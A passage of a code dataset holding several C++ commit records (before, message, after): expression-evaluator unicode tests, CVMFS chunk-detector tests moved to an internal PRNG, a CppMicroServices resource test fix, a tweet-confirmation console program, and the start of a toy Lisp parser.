\\xNN\\xNN\n \/\/ single quotes\n auto val3 = eval(\"'\\\\u262f\\\\xF0\\\\x9F\\\\x8D\\\\xB7'\");\n auto val4 = eval(\"'\\\\U0000262f\\\\U0001F377'\");\n \/\/ double quotes\n auto val5 = eval(\"\\\"\\\\u262f\\\\xF0\\\\x9F\\\\x8D\\\\xB7\\\"\");\n auto val6 = eval(\"\\\"\\\\U0000262f\\\\U0001F377\\\"\");\n \/\/ UTF16 surrogate pairs work also ;)\n \/\/ \\ud83d\\udd7a\\ud83c\\udffc => \\U0001F57A\\U0001F3FC works also\n \/\/ TODO: find a way to enter UTF16 pairs\n TRY_CHECK(val3 == val4);\n TRY_CHECK(val5 == val6);\n TRY_CHECK(val3.to_string() == val4.to_string()); \/\/ UTF-8\n TRY_CHECK(val3.to_unicode() == val4.to_unicode()); \/\/ Unicod\n TRY_CHECK(val5.to_string() == val6.to_string()); \/\/ UTF-8\n TRY_CHECK(val5.to_unicode() == val6.to_unicode()); \/\/ Unicode\n\n \/\/ following test will fail if boost_regex is built without ICU support (unpaired surrogates in output)\n TRY_CHECK(eval(\"[name].replace('(\\\\B)|( )',' ') \") == tr.transcode(\"Q u é b e c\"));\n TRY_CHECK(eval(\"'Москва'.replace('(?<!^)(\\\\B|b)(?!$)',' ')\") == tr.transcode(\"М о с к в а\"));\n \/\/ 'foo' =~ s:(\\w)\\1:$1x:r\n TRY_CHECK(eval(\" 'foo'.replace('(\\\\w)\\\\1', '$1x') \") == tr.transcode(\"fox\"));\n TRY_CHECK(parse_and_dump(\" 'foo'.replace('(\\\\w)\\\\1', '$1x') \") == \"'foo'.replace('(\\\\w)\\\\1','$1x')\");\n\n \/\/ match\n TRY_CHECK(eval(\" [name].match('Québec') \") == true);\n \/\/ 'Québec' =~ m:^Q\\S*$:\n TRY_CHECK(eval(\" [name].match('^Q\\\\S*$') \") == true);\n TRY_CHECK(parse_and_dump(\" [name].match('^Q\\\\S*$') \") == \"[name].match('^Q\\\\S*$')\");\n\n \/\/ string & value concatenation\n \/\/ this should evaluate as two strings concatenating\n TRY_CHECK(eval(\"Hello + '!'\") == eval(\"'Hello!'\"));\n \/\/ this should evaulate as a combination of an int value and string\n TRY_CHECK(eval(\"[int]+m\") == eval(\"'123m'\"));\n}\n<|endoftext|>"} {"text":"<commit_before>#include <gtest\/gtest.h>\n#include <cstdlib>\n#include <vector>\n\n#include <iostream> \/\/ TODO: remove me\n\n#include \"..\/..\/cvmfs\/upload_file_processing\/chunk_detector.h\"\n#include \"..\/..\/cvmfs\/upload_file_processing\/char_buffer.h\"\n\nclass T_ChunkDetectors : public ::testing::Test {\n protected:\n void CreateBuffers(const size_t buffer_size) {\n ClearBuffers();\n\n const size_t MB = 1048576;\n const size_t full_size = 100 * MB;\n\n \/\/ make sure we always produce the same test data\n srand(42);\n\n \/\/ produce some test data\n size_t i = 0;\n while (i < full_size) {\n upload::CharBuffer * buffer = new upload::CharBuffer(buffer_size);\n buffer->SetUsedBytes(std::min(full_size - i, buffer_size));\n buffer->SetBaseOffset(i);\n\n for (size_t j = 0; j < buffer->size(); ++j) {\n *(buffer->ptr() + j) = rand() % 256;\n }\n\n buffers_.push_back(buffer);\n i += buffer->used_bytes();\n }\n }\n\n virtual void TearDown() {\n ClearBuffers();\n }\n\n private:\n void ClearBuffers() {\n Buffers::const_iterator i = buffers_.begin();\n Buffers::const_iterator iend = buffers_.end();\n for (; i != iend; ++i) {\n delete *i;\n }\n buffers_.clear();\n }\n\n protected:\n typedef std::vector<upload::CharBuffer*> Buffers;\n Buffers buffers_;\n};\n\nTEST_F(T_ChunkDetectors, StaticOffsetChunkDetector) {\n const size_t static_chunk_size = 1024;\n\n upload::StaticOffsetDetector static_offset_detector(static_chunk_size);\n EXPECT_FALSE (static_offset_detector.MightFindChunks(static_chunk_size));\n EXPECT_TRUE (static_offset_detector.MightFindChunks(static_chunk_size + 1));\n\n upload::CharBuffer buffer(static_chunk_size);\n buffer.SetUsedBytes(static_chunk_size \/ 2);\n\n off_t next_cut_mark = static_offset_detector.FindNextCutMark(&buffer);\n EXPECT_EQ (0, next_cut_mark);\n\n buffer.SetBaseOffset(buffer.used_bytes());\n next_cut_mark = static_offset_detector.FindNextCutMark(&buffer);\n EXPECT_EQ (0, next_cut_mark);\n\n buffer.SetBaseOffset(buffer.used_bytes() * 2);\n next_cut_mark = static_offset_detector.FindNextCutMark(&buffer);\n EXPECT_EQ (static_cast<off_t>(static_chunk_size), next_cut_mark);\n\n buffer.SetBaseOffset(buffer.used_bytes() * 3);\n next_cut_mark = static_offset_detector.FindNextCutMark(&buffer);\n EXPECT_EQ (0, next_cut_mark);\n\n CreateBuffers(1048576);\n\n off_t next_cut = 0;\n int runs = 2;\n Buffers::const_iterator i = buffers_.begin();\n Buffers::const_iterator iend = buffers_.end();\n for (; i != iend; ++i) {\n while ((next_cut = static_offset_detector.FindNextCutMark(*i)) != 0) {\n EXPECT_EQ (static_cast<off_t>(static_chunk_size) * runs, next_cut);\n ++runs;\n }\n }\n}\n\n\nTEST_F(T_ChunkDetectors, Xor32ChunkDetector) {\n const size_t base = 512000;\n upload::Xor32Detector xor32_detector(base, base * 2, base * 4);\n\n EXPECT_FALSE (xor32_detector.MightFindChunks(0));\n EXPECT_FALSE (xor32_detector.MightFindChunks(base));\n EXPECT_TRUE (xor32_detector.MightFindChunks(base + 1));\n EXPECT_TRUE (xor32_detector.MightFindChunks(base * 2));\n EXPECT_TRUE (xor32_detector.MightFindChunks(base * 3));\n EXPECT_TRUE (xor32_detector.MightFindChunks(base * 3 + 1));\n\n \/\/ expected cut marks\n const off_t expected[] = {\n 591544, 1112589, 1716139, 2677179, 3473340, 4075967, 4832346,\n 5467359, 6584843, 7233161, 8237075, 8911472, 10211539, 11708173,\n 12545542, 13150940, 13746430, 14902448, 15841437, 16458881, 17123801,\n 17959953, 19894517, 21942517, 22888955, 23820032, 24355174, 25084484,\n 25791530, 27398981, 28841447, 29685225, 30533040, 32581040, 33565322,\n 34846885, 35378061, 36354275, 37469200, 38049328, 38748025, 40526310,\n 41244625, 41925007, 42497297, 43830589, 44347080, 44978978, 45843784,\n 46489702, 47049471, 47713371, 48414503, 50118479, 50834131, 52830209,\n 53505714, 54385890, 55416918, 56736198, 57516639, 58112403, 58705576,\n 59540049, 60904495, 61734883, 62667100, 63296723, 63908168, 64952264,\n 66536570, 67562340, 68734626, 69540127, 71148388, 71905512, 72813152,\n 73372989, 74072441, 74621306, 75181178, 75996775, 76631479, 77206009,\n 77724169, 79104681, 79710589, 81014713, 81612478, 82360921, 83350791,\n 84079423, 84809053, 85439794, 86132602, 87432725, 88277767, 88889874,\n 90188927, 90949653, 91472336, 92216519, 92985916, 94199809, 95523530,\n 96884562, 98506308, 99403409, 101084089, 101672598, 102271189, 103238158,\n 104050039\n };\n\n std::vector<size_t> buffer_sizes;\n buffer_sizes.push_back(102400); \/\/ 100kB\n buffer_sizes.push_back(base); \/\/ same as minimal chunk size\n buffer_sizes.push_back(base * 2); \/\/ same as average chunk size\n buffer_sizes.push_back(10485760); \/\/ 10MB\n\n std::vector<size_t>::const_iterator i = buffer_sizes.begin();\n std::vector<size_t>::const_iterator iend = buffer_sizes.end();\n for (; i != iend; ++i) {\n \/\/ create the test data chunked into buffers of size *i\n CreateBuffers(*i);\n\n \/\/ go through all the buffers and check if the chunker produces the\n \/\/ expected results\n upload::Xor32Detector detector(base, base * 2, base * 4);\n off_t next_cut = 0;\n int cut = 0;\n bool fail = false;\n Buffers::const_iterator j = buffers_.begin();\n Buffers::const_iterator jend = buffers_.end();\n for (; ! fail && j != jend; ++j) {\n while ((next_cut = detector.FindNextCutMark(*j)) != 0) {\n const int index = cut++;\n if (expected[index] != next_cut) {\n EXPECT_EQ(expected[index], next_cut) << \"failed with buffer size \"\n << *i << \" byte... \";\n fail = true;\n }\n }\n }\n }\n}\n<commit_msg>use internal PRNG instead of cstdlib's<commit_after>#include <gtest\/gtest.h>\n#include <vector>\n\n#include <iostream> \/\/ TODO: remove me\n\n#include \"..\/..\/cvmfs\/upload_file_processing\/chunk_detector.h\"\n#include \"..\/..\/cvmfs\/upload_file_processing\/char_buffer.h\"\n#include \"..\/..\/cvmfs\/prng.h\"\n\nclass T_ChunkDetectors : public ::testing::Test {\n protected:\n void CreateBuffers(const size_t buffer_size) {\n ClearBuffers();\n\n const size_t MB = 1048576;\n const size_t full_size = 100 * MB;\n\n \/\/ make sure we always produce the same test data\n rng_.InitSeed(42);\n\n \/\/ produce some test data\n size_t i = 0;\n while (i < full_size) {\n upload::CharBuffer * buffer = new upload::CharBuffer(buffer_size);\n buffer->SetUsedBytes(std::min(full_size - i, buffer_size));\n buffer->SetBaseOffset(i);\n\n for (size_t j = 0; j < buffer->size(); ++j) {\n *(buffer->ptr() + j) = static_cast<unsigned char>(rng_.Next(256));\n }\n\n buffers_.push_back(buffer);\n i += buffer->used_bytes();\n }\n }\n\n virtual void TearDown() {\n ClearBuffers();\n }\n\n private:\n void ClearBuffers() {\n Buffers::const_iterator i = buffers_.begin();\n Buffers::const_iterator iend = buffers_.end();\n for (; i != iend; ++i) {\n delete *i;\n }\n buffers_.clear();\n }\n\n protected:\n typedef std::vector<upload::CharBuffer*> Buffers;\n Buffers buffers_;\n\n private:\n Prng rng_;\n};\n\nTEST_F(T_ChunkDetectors, StaticOffsetChunkDetector) {\n const size_t static_chunk_size = 1024;\n\n upload::StaticOffsetDetector static_offset_detector(static_chunk_size);\n EXPECT_FALSE (static_offset_detector.MightFindChunks(static_chunk_size));\n EXPECT_TRUE (static_offset_detector.MightFindChunks(static_chunk_size + 1));\n\n upload::CharBuffer buffer(static_chunk_size);\n buffer.SetUsedBytes(static_chunk_size \/ 2);\n\n off_t next_cut_mark = static_offset_detector.FindNextCutMark(&buffer);\n EXPECT_EQ (0, next_cut_mark);\n\n buffer.SetBaseOffset(buffer.used_bytes());\n next_cut_mark = static_offset_detector.FindNextCutMark(&buffer);\n EXPECT_EQ (0, next_cut_mark);\n\n buffer.SetBaseOffset(buffer.used_bytes() * 2);\n next_cut_mark = static_offset_detector.FindNextCutMark(&buffer);\n EXPECT_EQ (static_cast<off_t>(static_chunk_size), next_cut_mark);\n\n buffer.SetBaseOffset(buffer.used_bytes() * 3);\n next_cut_mark = static_offset_detector.FindNextCutMark(&buffer);\n EXPECT_EQ (0, next_cut_mark);\n\n CreateBuffers(1048576);\n\n off_t next_cut = 0;\n int runs = 2;\n Buffers::const_iterator i = buffers_.begin();\n Buffers::const_iterator iend = buffers_.end();\n for (; i != iend; ++i) {\n while ((next_cut = static_offset_detector.FindNextCutMark(*i)) != 0) {\n EXPECT_EQ (static_cast<off_t>(static_chunk_size) * runs, next_cut);\n ++runs;\n }\n }\n}\n\n\nTEST_F(T_ChunkDetectors, Xor32ChunkDetector) {\n const size_t base = 512000;\n upload::Xor32Detector xor32_detector(base, base * 2, base * 4);\n\n EXPECT_FALSE (xor32_detector.MightFindChunks(0));\n EXPECT_FALSE (xor32_detector.MightFindChunks(base));\n EXPECT_TRUE (xor32_detector.MightFindChunks(base + 1));\n EXPECT_TRUE (xor32_detector.MightFindChunks(base * 2));\n EXPECT_TRUE (xor32_detector.MightFindChunks(base * 3));\n EXPECT_TRUE (xor32_detector.MightFindChunks(base * 3 + 1));\n\n \/\/ expected cut marks\n const off_t expected[] = {\n 1478173, 3106048, 4774918, 5483479, 6145474, 6815524, 7993818,\n 9827816, 10901280, 11472834, 12866669, 14914669, 15680095, 17728095,\n 18270545, 20003471, 20608171, 21331281, 21978222, 22534719, 23082248,\n 24152259, 25139243, 26454712, 28211455, 29378773, 30048887, 31106301,\n 32584060, 33220713, 33782665, 34554410, 36509543, 37845212, 38357766,\n 39026052, 39717365, 40902090, 41894611, 42565784, 43651833, 45340938,\n 45957448, 46753480, 47668586, 48650727, 49349827, 50044561, 50609473,\n 52448783, 53114708, 53757146, 54854971, 55503055, 56082722, 57245560,\n 58088890, 59568818, 60827431, 62875431, 63539342, 64281928, 64832251,\n 65513397, 67561397, 69265229, 70379107, 71426608, 72421269, 72983868,\n 73937161, 74486883, 75507129, 76825236, 77691932, 79497499, 80381772,\n 81515814, 82632302, 83187470, 83940560, 84919129, 85716196, 87018583,\n 88055868, 90103868, 91215622, 93088799, 94465150, 95279802, 95895281,\n 96736014, 97377339, 99274429, 100477630, 101018222, 101607802, 102485227,\n 103100922, 103673232, 104338021\n };\n\n std::vector<size_t> buffer_sizes;\n buffer_sizes.push_back(102400); \/\/ 100kB\n buffer_sizes.push_back(base); \/\/ same as minimal chunk size\n buffer_sizes.push_back(base * 2); \/\/ same as average chunk size\n buffer_sizes.push_back(10485760); \/\/ 10MB\n\n std::vector<size_t>::const_iterator i = buffer_sizes.begin();\n std::vector<size_t>::const_iterator iend = buffer_sizes.end();\n for (; i != iend; ++i) {\n \/\/ create the test data chunked into buffers of size *i\n CreateBuffers(*i);\n\n \/\/ go through all the buffers and check if the chunker produces the\n \/\/ expected results\n upload::Xor32Detector detector(base, base * 2, base * 4);\n off_t next_cut = 0;\n int cut = 0;\n bool fail = false;\n Buffers::const_iterator j = buffers_.begin();\n Buffers::const_iterator jend = buffers_.end();\n for (; ! fail && j != jend; ++j) {\n while ((next_cut = detector.FindNextCutMark(*j)) != 0) {\n const int index = cut++;\n if (expected[index] != next_cut) {\n EXPECT_EQ(expected[index], next_cut) << \"failed with buffer size \"\n << *i << \" byte... \";\n fail = true;\n break;\n }\n }\n }\n }\n}\n<|endoftext|>"} {"text":"<commit_before>\/*=============================================================================\n\n Library: CppMicroServices\n\n Copyright (c) German Cancer Research Center,\n Division of Medical and Biological Informatics\n\n Licensed under the Apache License, Version 2.0 (the \"License\");\n you may not use this file except in compliance with the License.\n You may obtain a copy of the License at\n\n http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\n Unless required by applicable law or agreed to in writing, software\n distributed under the License is distributed on an \"AS IS\" BASIS,\n WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n See the License for the specific language governing permissions and\n limitations under the License.\n\n=============================================================================*\/\n\n#include <usModuleContext.h>\n#include <usGetModuleContext.h>\n#include <usModuleRegistry.h>\n#include <usModule.h>\n#include <usModuleResource.h>\n#include <usModuleResourceStream.h>\n\n#include <usTestingConfig.h>\n\n#include \"usTestUtilSharedLibrary.h\"\n#include \"usTestingMacros.h\"\n\n#include <assert.h>\n\n#include <set>\n\nUS_USE_NAMESPACE\n\nnamespace {\n\nstd::string GetResourceContent(const ModuleResource& resource)\n{\n std::string line;\n ModuleResourceStream rs(resource);\n std::getline(rs, line);\n return line;\n}\n\nstruct ResourceComparator {\n bool operator()(const ModuleResource& mr1, const ModuleResource& mr2) const\n {\n return mr1 < mr2;\n }\n};\n\nvoid testResourceOperators(Module* module)\n{\n std::vector<ModuleResource> resources = module->FindResources(\"\", \"res.txt\", false);\n US_TEST_CONDITION_REQUIRED(resources.size() == 2, \"Check resource count\")\n US_TEST_CONDITION(resources[0] != resources[1], \"Check non-equality for equally named resources\")\n}\n\nvoid testResourcesWithStaticImport(Module* module)\n{\n ModuleResource resource = module->GetResource(\"res.txt\");\n US_TEST_CONDITION_REQUIRED(resource.IsValid(), \"Check valid res.txt resource\")\n std::string line = GetResourceContent(resource);\n US_TEST_CONDITION(line == \"dynamic resource\", \"Check dynamic resource content\")\n\n resource = module->GetResource(\"dynamic.txt\");\n US_TEST_CONDITION_REQUIRED(resource.IsValid(), \"Check valid dynamic.txt resource\")\n line = GetResourceContent(resource);\n US_TEST_CONDITION(line == \"dynamic\", \"Check dynamic resource content\")\n\n resource = module->GetResource(\"static.txt\");\n US_TEST_CONDITION_REQUIRED(resource.IsValid(), \"Check valid static.txt resource\")\n line = GetResourceContent(resource);\n US_TEST_CONDITION(line == \"static\", \"Check dynamic resource content\")\n\n std::vector<ModuleResource> resources = module->FindResources(\"\", \"*.txt\", false);\n std::stable_sort(resources.begin(), resources.end(), ResourceComparator());\n#ifdef US_BUILD_SHARED_LIBS\n US_TEST_CONDITION(resources.size() == 4, \"Check imported resource count\")\n line = GetResourceContent(resources[0]);\n US_TEST_CONDITION(line == \"dynamic\", \"Check dynamic.txt resource content\")\n line = GetResourceContent(resources[1]);\n US_TEST_CONDITION(line == \"dynamic resource\", \"Check res.txt (from importing module) resource content\")\n line = GetResourceContent(resources[2]);\n US_TEST_CONDITION(line == \"static resource\", \"Check res.txt (from imported module) resource content\")\n line = GetResourceContent(resources[3]);\n US_TEST_CONDITION(line == \"static\", \"Check static.txt (from importing module) resource content\")\n#else\n US_TEST_CONDITION(resources.size() == 6, \"Check imported resource count\")\n line = GetResourceContent(resources[0]);\n US_TEST_CONDITION(line == \"dynamic\", \"Check dynamic.txt resource content\")\n \/\/ skip foo.txt\n line = GetResourceContent(resources[2]);\n US_TEST_CONDITION(line == \"dynamic resource\", \"Check res.txt (from importing module) resource content\")\n line = GetResourceContent(resources[3]);\n US_TEST_CONDITION(line == \"static resource\", \"Check res.txt (from imported module) resource content\")\n \/\/ skip special_chars.dummy.txt\n line = GetResourceContent(resources[5]);\n US_TEST_CONDITION(line == \"static\", \"Check static.txt (from importing module) resource content\")\n#endif\n}\n\n} \/\/ end unnamed namespace\n\n\nint usStaticModuleResourceTest(int \/*argc*\/, char* \/*argv*\/[])\n{\n US_TEST_BEGIN(\"StaticModuleResourceTest\");\n\n ModuleContext* mc = GetModuleContext();\n assert(mc);\n\n#ifdef US_BUILD_SHARED_LIBS\n SharedLibraryHandle libB(\"TestModuleB\");\n\n try\n {\n libB.Load();\n }\n catch (const std::exception& e)\n {\n US_TEST_FAILED_MSG(<< \"Load module exception: \" << e.what())\n }\n\n Module* module = ModuleRegistry::GetModule(\"TestModuleB Module\");\n US_TEST_CONDITION_REQUIRED(module != NULL, \"Test for existing module TestModuleB\")\n\n US_TEST_CONDITION(module->GetName() == \"TestModuleB Module\", \"Test module name\")\n#else\n Module* module = mc->GetModule();\n#endif\n\n testResourceOperators(module);\n testResourcesWithStaticImport(module);\n\n#ifdef US_BUILD_SHARED_LIBS\n ModuleResource resource = module->GetResource(\"static.txt\");\n US_TEST_CONDITION_REQUIRED(resource.IsValid(), \"Check valid static.txt resource\")\n\n libB.Unload();\n\n US_TEST_CONDITION_REQUIRED(resource.IsValid() == false, \"Check invalid static.txt resource\")\n#endif\n\n US_TEST_END()\n}\n<commit_msg>Fix unused variable error in release builds.<commit_after>\/*=============================================================================\n\n Library: CppMicroServices\n\n Copyright (c) German Cancer Research Center,\n Division of Medical and Biological Informatics\n\n Licensed under the Apache License, Version 2.0 (the \"License\");\n you may not use this file except in compliance with the License.\n You may obtain a copy of the License at\n\n http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\n Unless required by applicable law or agreed to in writing, software\n distributed under the License is distributed on an \"AS IS\" BASIS,\n WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n See the License for the specific language governing permissions and\n limitations under the License.\n\n=============================================================================*\/\n\n#include <usModuleContext.h>\n#include <usGetModuleContext.h>\n#include <usModuleRegistry.h>\n#include <usModule.h>\n#include <usModuleResource.h>\n#include <usModuleResourceStream.h>\n\n#include <usTestingConfig.h>\n\n#include \"usTestUtilSharedLibrary.h\"\n#include \"usTestingMacros.h\"\n\n#include <assert.h>\n\n#include <set>\n\nUS_USE_NAMESPACE\n\nnamespace {\n\nstd::string GetResourceContent(const ModuleResource& resource)\n{\n std::string line;\n ModuleResourceStream rs(resource);\n std::getline(rs, line);\n return line;\n}\n\nstruct ResourceComparator {\n bool operator()(const ModuleResource& mr1, const ModuleResource& mr2) const\n {\n return mr1 < mr2;\n }\n};\n\nvoid testResourceOperators(Module* module)\n{\n std::vector<ModuleResource> resources = module->FindResources(\"\", \"res.txt\", false);\n US_TEST_CONDITION_REQUIRED(resources.size() == 2, \"Check resource count\")\n US_TEST_CONDITION(resources[0] != resources[1], \"Check non-equality for equally named resources\")\n}\n\nvoid testResourcesWithStaticImport(Module* module)\n{\n ModuleResource resource = module->GetResource(\"res.txt\");\n US_TEST_CONDITION_REQUIRED(resource.IsValid(), \"Check valid res.txt resource\")\n std::string line = GetResourceContent(resource);\n US_TEST_CONDITION(line == \"dynamic resource\", \"Check dynamic resource content\")\n\n resource = module->GetResource(\"dynamic.txt\");\n US_TEST_CONDITION_REQUIRED(resource.IsValid(), \"Check valid dynamic.txt resource\")\n line = GetResourceContent(resource);\n US_TEST_CONDITION(line == \"dynamic\", \"Check dynamic resource content\")\n\n resource = module->GetResource(\"static.txt\");\n US_TEST_CONDITION_REQUIRED(resource.IsValid(), \"Check valid static.txt resource\")\n line = GetResourceContent(resource);\n US_TEST_CONDITION(line == \"static\", \"Check dynamic resource content\")\n\n std::vector<ModuleResource> resources = module->FindResources(\"\", \"*.txt\", false);\n std::stable_sort(resources.begin(), resources.end(), ResourceComparator());\n#ifdef US_BUILD_SHARED_LIBS\n US_TEST_CONDITION(resources.size() == 4, \"Check imported resource count\")\n line = GetResourceContent(resources[0]);\n US_TEST_CONDITION(line == \"dynamic\", \"Check dynamic.txt resource content\")\n line = GetResourceContent(resources[1]);\n US_TEST_CONDITION(line == \"dynamic resource\", \"Check res.txt (from importing module) resource content\")\n line = GetResourceContent(resources[2]);\n US_TEST_CONDITION(line == \"static resource\", \"Check res.txt (from imported module) resource content\")\n line = GetResourceContent(resources[3]);\n US_TEST_CONDITION(line == \"static\", \"Check static.txt (from importing module) resource content\")\n#else\n US_TEST_CONDITION(resources.size() == 6, \"Check imported resource count\")\n line = GetResourceContent(resources[0]);\n US_TEST_CONDITION(line == \"dynamic\", \"Check dynamic.txt resource content\")\n \/\/ skip foo.txt\n line = GetResourceContent(resources[2]);\n US_TEST_CONDITION(line == \"dynamic resource\", \"Check res.txt (from importing module) resource content\")\n line = GetResourceContent(resources[3]);\n US_TEST_CONDITION(line == \"static resource\", \"Check res.txt (from imported module) resource content\")\n \/\/ skip special_chars.dummy.txt\n line = GetResourceContent(resources[5]);\n US_TEST_CONDITION(line == \"static\", \"Check static.txt (from importing module) resource content\")\n#endif\n}\n\n} \/\/ end unnamed namespace\n\n\nint usStaticModuleResourceTest(int \/*argc*\/, char* \/*argv*\/[])\n{\n US_TEST_BEGIN(\"StaticModuleResourceTest\");\n\n assert(GetModuleContext());\n\n\n#ifdef US_BUILD_SHARED_LIBS\n SharedLibraryHandle libB(\"TestModuleB\");\n\n try\n {\n libB.Load();\n }\n catch (const std::exception& e)\n {\n US_TEST_FAILED_MSG(<< \"Load module exception: \" << e.what())\n }\n\n Module* module = ModuleRegistry::GetModule(\"TestModuleB Module\");\n US_TEST_CONDITION_REQUIRED(module != NULL, \"Test for existing module TestModuleB\")\n\n US_TEST_CONDITION(module->GetName() == \"TestModuleB Module\", \"Test module name\")\n#else\n Module* module = mc->GetModule();\n#endif\n\n testResourceOperators(module);\n testResourcesWithStaticImport(module);\n\n#ifdef US_BUILD_SHARED_LIBS\n ModuleResource resource = module->GetResource(\"static.txt\");\n US_TEST_CONDITION_REQUIRED(resource.IsValid(), \"Check valid static.txt resource\")\n\n libB.Unload();\n\n US_TEST_CONDITION_REQUIRED(resource.IsValid() == false, \"Check invalid static.txt resource\")\n#endif\n\n US_TEST_END()\n}\n<|endoftext|>"} {"text":"<commit_before>#include <iostream>\n#include <string>\n\nusing namespace std;\n\nvoid userin(string &);\nvoid print(const string);\n\nvoid userin(string &s)\n{\n\tgetline(cin,s);\n\treturn;\n}\n\nvoid print(const string s)\n{\n\tcout << \"Your message is as follows:\" << endl;\n\tcout << s << endl;\n}\n\nint main()\n{\n\tstring uin;\n\n\tuserin(uin);\n\tprint(uin);\n\n\treturn 0;\n}\n<commit_msg>added post confirmation<commit_after>#include <iostream>\n#include <string>\n\nusing namespace std;\n\nvoid userin(string &);\nvoid print(const string);\n\nvoid userin(string &s)\n{\n\tgetline(cin,s);\n\n\treturn;\n}\n\nvoid print(const string s)\n{\n\tchar check = ' ';\n\tbool cont = false;\n\n\tcout << \"Your message is as follows:\" << endl;\n\tcout << s << endl;\n\n\tcout << \"Your message will tweet as follows:\" << endl;\n\tcout << s << \"(\" << s.size() << \"\/#\" << endl;\n\n\twhile(!cont)\n\t{\n\t\tcout << \"Do you wish to post? (Y or N then hit enter): \";\n\t\tcin >> check;\n\n\t\tif((check == 'Y') || (check == 'y') || (check == 'N') || (check == 'n'))\n\t\t{\n\t\t\tcont = true;\n\t\t}\n\t\telse\n\t\t{\n\t\t\tcout << \"Please enter a valid choice. Y or y for yes, N or n for no.\" << endl;\n\t\t}\n\t}\n\n\tif(check == 'Y' || check == 'y')\n\t{\n\t\t\/\/post to twitter. push to twitter push library\n\t}\n\n\treturn;\n}\n\nint main()\n{\n\tstring uin;\n\n\tuserin(uin);\n\tprint(uin);\n\n\treturn 0;\n}\n<|endoftext|>"} {"text":"<commit_before>#include <iostream>\n#include <string>\n#include <sstream>\n#include <vector>\n#include <list>\n#include <map>\n#include <typeinfo>\n#include <stdexcept>\n#include <cstdlib>\n#include <ctype.h>\n\n#define PRINT_LINE (std::cout << \"line: \" << __LINE__ << std::endl)\n\nenum TokenType{\n TOKEN_BRACKET_OPEN,\n TOKEN_BRACKET_CLOSE,\n TOKEN_SYMBOL,\n TOKEN_STRING,\n TOKEN_INTEGER,\n TOKEN_NIL,\n};\n\nclass Token {\npublic:\n TokenType type;\n std::string value;\n\n Token(TokenType atype) : type(atype), value(std::string()) {\n }\n\n Token(TokenType atype, std::string avalue) : type(atype), value(avalue) {\n }\n\n std::string str() {\n std::stringstream ss;\n ss << \"Token(\" << type << \", \" << value << \")\";\n return ss.str();\n }\n};\n\nnamespace Lisp {\n class Expression;\n}\n\n\/\/ memory allocated exprs\nstd::list<Lisp::Expression*> objects;\n\nnamespace Lisp {\n class Expression {\n public:\n Expression() {\n objects.push_back(this);\n }\n virtual ~Expression() {}\n\n virtual std::string lisp_str() = 0;\n };\n\n class CallFunction : public Expression {\n public:\n std::string name;\n std::vector<Expression*> args;\n\n CallFunction(std::string aname, std::vector<Expression*> &aargs) : name(aname), args(aargs) {}\n\n std::string lisp_str() {\n std::stringstream ss;\n ss << \"(\" << name << \" \";\n for(Expression* arg : args) {\n ss << arg->lisp_str() << \" \";\n }\n ss << \")\";\n return ss.str();\n }\n };\n\n class String : public Expression {\n public:\n std::string value;\n\n String(std::string &avalue) : value(avalue) {}\n\n std::string lisp_str() { return '\"' + value + '\"'; }\n };\n\n class Integer : public Expression {\n public:\n unsigned long value;\n\n Integer(std::string &avalue) : value(std::atol(avalue.c_str())) {}\n Integer(unsigned long avalue) : value(avalue) {}\n\n std::string lisp_str() { return std::to_string(value); }\n };\n\n class Symbol : public Expression {\n public:\n std::string value;\n\n Symbol(std::string &avalue) : value(avalue) {}\n\n std::string lisp_str() { return value; }\n };\n\n class List : public Expression {\n public:\n std::vector<Expression*> values;\n\n List(std::vector<Expression*> &avalues) : values(avalues) {}\n\n std::string lisp_str() {\n std::stringstream ss;\n ss << \"(\";\n for(Expression* value : values) {\n ss << value->lisp_str() << \" \";\n }\n ss << \")\";\n return ss.str();\n }\n };\n\n \/\/ TODO: RubyみたくExpression*に埋め込みたい\n class Nil : public Expression {\n public:\n Nil() {}\n\n std::string lisp_str() { return \"nil\"; }\n };\n\n class T : public Expression {\n public:\n T() {}\n\n std::string lisp_str() { return \"T\"; }\n };\n\n class Parser {\n public:\n std::vector<Expression*> parse(const std::string &code) {\n tokens = tokenize(code);\n\n \/*for(auto tok : tokens) {\n std::cout << tok->str() << std::endl;\n }*\/\n\n std::vector<Expression*> exprs;\n while(!tokens.empty()) {\n exprs.push_back(parse_expr());\n }\n return exprs;\n }\n\n private:\n std::list<Token*> tokens;\n\n inline Token* cur_token() {\n return tokens.empty() ? nullptr : tokens.front();\n }\n\n void consume_token() {\n auto ctoken = cur_token();\n if(ctoken) delete ctoken;\n\n if(!tokens.empty()) tokens.pop_front();\n }\n\n Expression* parse_call_fun() {\n consume_token();\n if(cur_token()->type != TOKEN_SYMBOL) {\n \/\/TODO: raise an error\n }\n std::string name;\n name = cur_token()->value;\n\n consume_token();\n std::vector<Expression*> args;\n for(; !tokens.empty() && cur_token()->type != TOKEN_BRACKET_CLOSE ; consume_token()) {\n args.push_back(parse_expr());\n }\n\n consume_token();\n\n return new CallFunction(name, args);\n }\n\n Expression* parse_expr() {\n switch(cur_token()->type) {\n case TOKEN_BRACKET_OPEN:\n return parse_call_fun();\n case TOKEN_STRING:\n return new String(cur_token()->value);\n case TOKEN_NIL:\n return new Nil();\n case TOKEN_SYMBOL:\n return new Symbol(cur_token()->value);\n case TOKEN_INTEGER:\n return new Integer(cur_token()->value);\n default:\n throw std::logic_error(\"unknown token: \" + std::to_string(cur_token()->type));\n return nullptr;\n }\n }\n\n bool is_symbol(char c) {\n return isalnum(c) && isalpha(c);\n }\n\n bool is_number(char c) {\n return isdigit(c);\n }\n\n std::list<Token*> tokenize(const std::string &code) {\n std::list<Token*> tokens;\n\n for(size_t i = 0 ; i < code.size() - 1 ; i++) { \/\/TODO: -1を修正(EOFっぽい?)\n char ch = code[i];\n if(ch == '(')\n tokens.push_back(new Token(TOKEN_BRACKET_OPEN));\n else if(ch == ')')\n tokens.push_back(new Token(TOKEN_BRACKET_CLOSE));\n else if(ch == '\"') { \/\/ string\n i++;\n\n size_t token_len = 0;\n while(code[i + token_len] != '\"') {\n token_len++;\n if(i + token_len >= code.size()) {\n \/\/TODO: raise an error\n }\n }\n tokens.push_back(new Token(TOKEN_STRING, code.substr(i, token_len)));\n i += token_len;\n }\n else if(ch == ' ' || ch == '\\n')\n ;\/\/skip\n else if(is_number(ch)) {\n size_t token_len = 0;\n while(is_number(code[i + token_len])) {\n token_len++;\n \/\/ TODO: raise an error\n 